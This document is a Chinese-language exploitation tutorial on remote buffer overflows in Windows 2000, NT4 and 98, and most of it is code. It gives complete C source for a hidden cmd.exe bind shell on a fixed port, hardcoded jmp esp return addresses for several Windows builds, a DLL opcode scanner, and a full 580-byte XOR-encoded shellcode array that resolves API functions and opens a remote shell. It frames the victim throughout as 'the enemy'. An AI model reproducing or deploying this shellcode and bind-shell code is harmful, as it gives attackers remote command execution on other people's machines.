windows系統下的遠程溢出方法
我們來研究windows系統下的遠程溢出方法。我們的目的是研究如何利用windows程序的溢出來進行遠程攻擊。 如果對于windows下的緩沖區溢出不是很熟悉,請大家復習我前面的文章:《window系統下的堆棧溢出》(IsBaseMagzine 20003)。本文以及后續的《實戰篇》都是建立在該文基礎上的。
讓我們從頭開始。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
----遠程溢出算法
如何開一個遠程shell呢?思路是這樣的:首先使敵人的程序溢出,讓他執行我們的shellcode。我們的shellcode的功能就是在敵人的機器上用某個端口開一個telnetd 服務器,然后等待客戶來的連接。當客戶連接上之后,為這個客戶開創一個cmd.exe,把客戶的輸入輸出和cmd.exe的輸入輸出聯系起來,我們遠程的使用者就有了一個遠程shell(跟telnet一樣啦)。
上面的算法我想大家都該想得到,這里面socket部分比較簡單。和Unix下的基本差不多。就是加了一個WSAStartup;為客戶開創一個cmd.exe,就是用CreateProcess來創建這個子進程;但是如何把客戶的輸入輸出和cmd.exe的輸出輸入聯系起來呢?我使用了匿名管道(Anonymous Pipe)來完成這個聯系過程。
管道(Pipe)是一種簡單的進程間通信(IPC)機制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名兩種,命名管道可以在同一臺機器的不同進程間以及不同機器上的不同進程之間進行雙向通信(使用UNC命名規范)。
匿名管道只是在父子進程之間或者一個進程的兩個子進程之間進行通信。他是單向的。匿名管道其實是通過用給了一個指定名字的有名管道來實現的。
管道的最大好處在于:他可以象對普通文件一樣進行操作。他的操作標示符是HANDLE,也就是說,他可以使用readFile,WriteFile函數來進行與底層實現無關的讀寫操作!用戶根本就不必了解網絡間/進程間通信的具體細節。
下面就是這個算法的C實現:
/****************************************************************************//* Telnetd.cpp By Ipxodi tested in win2000To illustrated the method of telnetd.Only one connection can be accept,feel free to add select... to fit for multiple client*/#include <winsock2.h>#include <stdio.h>
int main(){WSADATA wsa;SOCKET listenFD;char Buff[1024];int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;server.sin_port = htons(53764);server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);/*這段代碼是用來建立一個Tcp Server的,我們先申請一個socketfd,使用53764(隨便,多少都行)作為這個socket連接的端口,bind他,然后在這個端口上等待連接listen。程序阻塞在accept函數直到有client連接上來。*/SECURITY_ATTRIBUTES sa;sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);/*創建兩個匿名管道。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道。*/STARTUPINFO si;ZeroMemory(&si,sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;char cmdLine[] = 'cmd.exe';PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);/*這段代碼創建了一個shell(cmd.exe),并且把cmd.exe的標準輸入用第二個管道的讀句柄替換。cmd.exe的標準輸出和標準錯誤輸出用第一個管道的寫句柄替換。這兩個管道的邏輯示意圖如下:(父進程) read<---〔管道一〕<---write 標準輸出(cmd.exe子進程)(父進程) write--->〔管道二〕--->read 標準輸入(cmd.exe子進程)*/
unsigned long lBytesRead;while(1) {ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);if(lBytesRead) {ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;ret=send(clientFD,Buff,lBytesRead,0);if(ret<=0) break;}else {lBytesRead=recv(clientFD,Buff,1024,0);if(lBytesRead<=0) break;ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;}}/*這段代碼完成了客戶輸入和shell的交互。PeekNamedPipe用來異步的查詢管道一,看看shell是否有輸出。如果有就readfile讀出來,并發送給客戶。如果沒有,就去接受客戶的輸入。并writefile寫入管道傳遞給shell.這兩個管道與client和server的配合邏輯圖如下:輸入命令(Client) <-- send(父進程) read<--〔管道一〕<--write 標準輸出(cmd.exe子進程)獲得結果(Client) recv-->(父進程)write-->〔管道二〕-->read 標準輸入(cmd.exe子進程)
*/return 0;}/****************************************************************************/
----shellcode疑難問題
下面來寫shellcode。針對windows系統緩沖區溢出的特殊性,shellcode有一些新的問題,我采用如下辦法來解決:1)跳轉指令地址的問題因為在函數返回的時候,esp都指向返回地址后面的地址。(為什么?因為esp在返回后要指向的地址,就是父函數在壓完參數,準備執行call 子函數之前的堆棧頂。)所以,我們的shellcode的開始位置,就是函數返回的時候,esp所指向的位置。因此,使用jmp esp 就可以跳到我們的shellcode上來。
當然,這里面作了一個假設,就是程序是由調用者來負責堆棧的恢復的。匯編代碼就是這個樣子:push eax; push ebx; push ecx; call SubRutineadd esp,000C
但是,如果是由子程序來負責恢復堆棧,SubRutine:....:010091F3 C9 leave:010091F4 C20C00 ret 000Cesp就不是指向我們的shellcode開始位置。它將指向shellcode+0c的位置。
事實上,當你在試圖發現敵人程序的一個溢出點時,這個數值(這里是0C)是可以很精確的發現的,因為你可以看到他的匯編原代碼呀!
為了解決這種情況下shellcode不能被正確執行的問題,我們可以在shellcode前面加上0c個nop.
這樣,我們需要作的事情,就是用內存中一個jmp esp指令的地址,來覆蓋敵人程序的返回地址。在內存中,當然有很多dll都會有jmp esp指令,我選擇了kernel32.dll里面的指令,因為這kernel32.dll是系統核心DLL,加載在前面,后面的dll安裝地址要隨前面dll的變動而變動,為了通用性的考慮,采用KERNEL32.DLL。
那么這些地址就是固定的了:win98第二版下(4.00.2222a),返回地址為:0xbff795a3winnt4下(4.00.1381),返回地址為:0x77f0eac3win2000下(5.00.2195),返回地址為:0x77e2e32a
以上地址,我們可以在測試的時候使用,但是,在真正對付敵人的時候,為了區別出選擇哪一個地址,就需要首先摸清敵人的操作系統以及dll版本號。jmp esp 地址如果不對,敵人的程序就會出現'無效頁錯誤'對話框,并且一定會當掉,所以,在攻擊之前,必須通過一些蛛絲馬跡,判斷敵人的類型。
以下是測試時候使用的代碼:#ifdef WIN2000#define JUMPESP 'x2axe3xe2x77'#endif#ifdef WINNT4#define JUMPESP 'xc3xeaxf0x77'#endif#ifdef WIN98 //2222a#define JUMPESP 'xa3x95xf7xbf'#endif#ifdef EXPLOIT#define JUMPESP '敵人目標程序上的jmp esp地址。'#endif
如果你有softice,可以直接在內存里面搜ffe4。如果沒有,綠色兵團的Backend 寫過一個小程序可以搜索user32.dll中的FFE4(jmp esp)串。我把他改了一下,可以搜索指定dll中的FFE4。算法如下:/****************************************************************************//*ffe4.cpp By Backend*/bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T('User32');
if(argc>1) {strcpy(dllname,argv[1]);}
h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<'ERROR LOADING DLL: '<<dllname<<endl; return 1; } we_loaded_it = true; }
BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<'OPCODE found at 0x'<<hex<<pos<<endl; } } catch(...) { cout<<'END OF '<<dllname<<' MEMORY REACHED'<<endl; done = true; } } if(we_loaded_it) FreeLibrary(h);
/****************************************************************************/2)shellcode所使用函數的問題在shellcode里面使用了很多win32函數,比如ReadFile,CreateProcess等等。這些函數必須加載到了敵人程序的進程空間里面后我們才能使用。我們將攻擊的敵人的遠程服務程序里面并不能保證已經load了我們所需要的所有的函數。
我們希望可以作出一個平臺無關的shellcode,這就必須:不直接使用OS版本相關的函數入口地址。這是因為函數入口地址是根據OS/SP/升級的版本不同而可能不同的。
唯一的辦法就是對使用的每一個win32函數,都使用LoadLibrary加載dll,用GetProcAddress函數來獲得函數地址。這需要我們的shellcode里面有一個函數名表保存每一個所使用的函數的函數名,并且在shellcode執行前,調用上述兩個函數一一獲得這些函數的地址。
但是又有一個問題,就是LoadLibrary和GetProcAddress本身的地址怎么獲得呢?我們想一想,這兩個函數的作用?'取得所有其他函數的地址。'沒錯,他們太重要了,每一個win32程序都要使用它們!那么,我們的目標程序呢?肯定也會有它們的。所以,在寫exploit的時候,這兩個函數的地址都是確定的。
如何找到這兩個函數在目標程序里面的加載地址呢?它們會不會是根據敵人操作系統的不同而變化的呢?不是。這些動態加載的函數都是在目標程序里面設置了一個入口表。由目標程序自己去加載,但是他的入口表地址是固定的。
你可以使用wdasm32來搜索LoadLibrary和GetProcAddress,可以看到它們對應的入口表地址AAAA。在shellcode里面,可以直接用call [AAAA]來引用它們。
3)shellcode里面使用的字符串問題剛剛解決了第二個問題,就引出了第三個問題。前面提到過使用函數名表以用來動態獲得函數地址。但是這些函數名字都要以x0結尾的!我們的shellcode最基本的一條,就是里面絕對不能含有x0,也不可以有回車換行.
解決的辦法,就是先對字符串表進行編碼(好嚇人)處理,處理掉所有的非法字符,shellcode在使用前,由一個子程序來進行解碼。
我使用的方法就是對字符串進行 xor 0x99處理。這樣編解碼就是一個程序了。
下面是編解碼程序:0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */
呵呵,一點都不嚇人,很簡單,是不是?我們將使用的資源列表就是前面使用的所有函數,加上'cmd.exe'。具體為:
/****************************************************************************/db 'KERNEL32' ,0;string to push for LoadLibrary.db 'CreatePipe',0db 'GetStartupInfoA',0 db 'CreateProcessA',0db 'PeekNamedPipe',0db 'GlobalAlloc',0db 'WriteFile',0db 'ReadFile',0db 'Sleep',0 db 'ExitProcess',0db 'WSOCK32',0db 'socket',0 db 'bind',0 db 'listen',0 db 'accept',0 db 'send',0 db 'recv',0
sockstruc STRUCT sin_family dw 0002hsin_port dw ?sin_addr dd ?sin_zero db 8 dup (0)sockstruc ENDS
db 'cmd.exe',0dd 0ffffffffh db 00dh, 00ah
/****************************************************************************/
4)shellcode的編寫將前面的C程序編譯出來,提取出shellcode,然后加上前面的編解碼和函數加載模塊就可以了。
應用前面的設計思想,我們可以寫出來shellcode如下:
unsigned char sploit[580] = {0x90, 0x8b, 0xfc, /* mov edi,esp */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xf7, 0xd0, /* not eax */0x50, /* push eax */0x59, /* pop ecx */0xf2, /* repnz */0xaf, /* scasd */0x59, /* pop ecx */0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */0x33, 0xf6, /* xor esi, esi */0x96, /* xchg eax,esi */0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */0xc1, 0xeb, 0x08, /* shr ebx, 08 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x0b, /* mov cl, 0B */0x49, /* dec ecx *//* loadKernelProcess */ /* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadKernelProcess */0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadKernelProcess *//* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne 00000176 */0xb3, 0xe8, /* mov bl, e8 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x06, /* mov cl, 06 *//* loadSocketProcess */ 0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadSocketProcess */ 0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadSocketProcess */ /*這一段代碼就是前期的準備工作,它負責獲得所有的函數的入口地址,這些函數是:'KERNEL32.dll''CreatePipe''GetStartupInfoA''CreateProcessA''PeekNamedPipe''GlobalAlloc''WriteFile''ReadFile''Sleep''ExitProcess'
'WSOCK32.dll''socket' 'bind' 'listen' 'accept' 'send' 'recv' */0x83, 0xc6, 0x05, /* add esi, 00000005 */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0xff, 0x57, 0xe8, /* call [edi-18] */0x93, /* xchg eax,ebx */0x6a, 0x10, /* push 00000010 */ 0x56, /* push esi */ 0x53, /* push ebx */ 0xff, 0x57, 0xec, /* call [edi-14] */ 0x6a, 0x02, /* push 00000002 */0x53, /* push ebx */0xff, 0x57, 0xf0, /* call [edi-10] */0x33, 0xc0, /* xor eax, eax */0x57, /* push edi */0x50, /* push eax */0xb0, 0x0c, /* mov al, 0C */0xab, /* stosd */0x58, /* pop eax */0xab, /* stosd */0x40, /* inc eax */0xab, /* stosd */0x5f, /* pop edi */0x48, /* dec eax */0x50, /* push eax */ 0x57, /* push edi */ 0x56, /* push esi */0xad, /* lodsd */ 0x56, /* push esi */ 0xff, 0x57, 0xc0, /* call [edi-40] */ 0x48, /* dec eax */0x50, /* push eax */0x57, /* push edi */0xad, /* lodsd */0x56, /* push esi */0xad, /* lodsd */0x56, /* push esi */0xff, 0x57, 0xc0, /* call [edi-40] */0x48, /* dec eax */0xb0, 0x44, /* mov al, 44 */0x89, 0x07, /* mov dword ptr [edi], eax */0x57, /* push edi */0xff, 0x57, 0xc4, /* call [edi-3C] */0x33, 0xc0, /* xor eax, eax */0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */0x8b, 0x06, /* mov eax, dword ptr [esi] */0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */0x33, 0xc0, /* xor eax, eax */0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */0x57, /* push edi */0x57, /* push edi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x50, /* push eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0xad, /* lodsd */0x56, /* push esi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x57, 0xc8, /* call [edi-38] */ 0xff, 0x76, 0xf0, /* push [esi-10] */0xff, 0x57, 0xcc, /* call [edi-34] */0xff, 0x76, 0xfc, /* push [esi-04] */0xff, 0x57, 0xcc, /* call [edi-34] */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0x53, /* push ebx */0xff, 0x57, 0xf4, /* call [edi-0C] */0x8b, 0xd8, /* mov ebx, eax */0x33, 0xc0, /* xor eax, eax */0xb4, 0x04, /* mov ah, 04 */0x50, /* push eax */0xc1, 0xe8, 0x04, /* shr eax, 04 */0x50, /* push eax */0xff, 0x57, 0xd4, /* call [edi-2C] */0x8b, 0xf0, /* mov esi, eax *//* PeekPipe: */ 0x33, 0xc0, /* xor eax, eax */0x8b, 0xc8, /* mov ecx, eax */0xb5, 0x04, /* mov ch, 04 */0x50, /* push eax */0x50, /* push eax */0x57, /* push edi */0x51, /* push ecx */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xd0, /* call [edi-30] */0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/0x7c, 0x22, /* jl GetUserInput */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x57, /* push edi */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xdc, /* call [edi-24] */0x0b, 0xc0, /* or eax, eax */0x74, 0x2f, /* je GameOver */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xf8, /* call [edi-08] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] */0xeb, 0xc8, /* jmp PeekPipe *//* GetUserInput: */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xb4, 0x04, /* mov ah, 04 */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xfc, /* call [edi-04] */0x57, /* push edi */0x33, 0xc9, /* xor ecx, ecx */0x51, /* push ecx */0x50, /* push eax */0x56, /* push esi */0xff, 0x77, 0xac, /* push [edi-54] */0xff, 0x57, 0xd8, /* call [edi-28] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] *//* GameOver: */ 0xeb, 0xaa, /* jmp PeekPipe */0x50, /* push eax */0xff, 0x57, 0xe4, /* call [edi-1C] */0x90, /* nop *//*這里的長長代碼就是那段C語言的算法,我的注釋很詳細,就不多說了*/0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=537640x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a};/*這些就是那個字符串表,已經經過了編碼。*/
相關文章: